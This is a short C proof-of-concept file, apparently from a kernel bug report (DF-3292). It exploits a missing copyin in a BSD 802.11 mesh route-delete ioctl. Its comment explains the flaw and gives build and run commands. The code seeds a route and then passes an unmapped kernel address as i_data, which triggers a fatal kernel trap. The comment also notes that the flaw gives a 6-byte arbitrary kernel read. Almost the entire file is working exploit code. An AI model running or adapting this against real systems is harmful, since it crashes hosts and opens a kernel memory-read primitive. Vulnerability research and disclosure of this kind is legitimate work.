DF-3292 / setmeshdel.c
/* * DF-3292 -- SIOCS80211 IEEE80211_IOC_MESH_RTCMD_DELETE passes the raw * user-supplied ireq->i_data pointer into ieee80211_mesh_rt_del(), which * dereferences it in-kernel (IEEE80211_ADDR_EQ) with no copyin. The ADD * path likewise derefs i_data before its (proper) copyin. * * This tool passes an UNMAPPED KERNEL pointer as i_data: the kernel * faults reading 6 bytes at that address -> fatal trap (privileged DoS, * and an arbitrary-address 6-byte read gadget for a privileged caller). * * Build: cc -o /root/fwm/setmeshdel setmeshdel.c * Run: ./setmeshdel wlan0 (needs SYSCAP_NONET_WIFI) */ #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> #include <netproto/802_11/ieee80211_ioctl.h> #include <stdio.h> #include <string.h> #include <err.h> int main(int argc, char *argv[]) { struct ieee80211req ireq; int s; if (argc != 2) errx(1, "usage: %s wlanif", argv[0]); uint8_t mac[IEEE80211_ADDR_LEN] = { 0x02,0x11,0x22,0x33,0x44,0x55 }; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) err(1, "socket"); /* 1. seed one route via MESH_RTCMD_ADD (proper userland buffer) */ memset(&ireq, 0, sizeof(ireq)); strlcpy(ireq.i_name, argv[1], IFNAMSIZ); ireq.i_type = IEEE80211_IOC_MESH_RTCMD; ireq.i_val = IEEE80211_MESH_RTCMD_ADD; ireq.i_data = mac; ireq.i_len = IEEE80211_ADDR_LEN; if (ioctl(s, SIOCS80211, &ireq) < 0) warn("ADD ioctl (continuing)"); else printf("route added (hwmp discovery queued)\n"); sleep(1); /* 2. DELETE with an unmapped KERNEL address as i_data */ memset(&ireq, 0, sizeof(ireq)); strlcpy(ireq.i_name, argv[1], IFNAMSIZ); ireq.i_type = IEEE80211_IOC_MESH_RTCMD; ireq.i_val = IEEE80211_MESH_RTCMD_DELETE; /* the bug: this pointer is dereferenced in kernel without copyin */ ireq.i_data = (void *)0xffffffff40000000ull; /* unmapped kernel addr */ printf("issuing MESH_RTCMD_DELETE with kernel i_data=%p...\n", ireq.i_data); if (ioctl(s, SIOCS80211, &ireq) < 0) warn("ioctl returned (no crash)"); else printf("ioctl succeeded (no crash)\n"); return 0; } |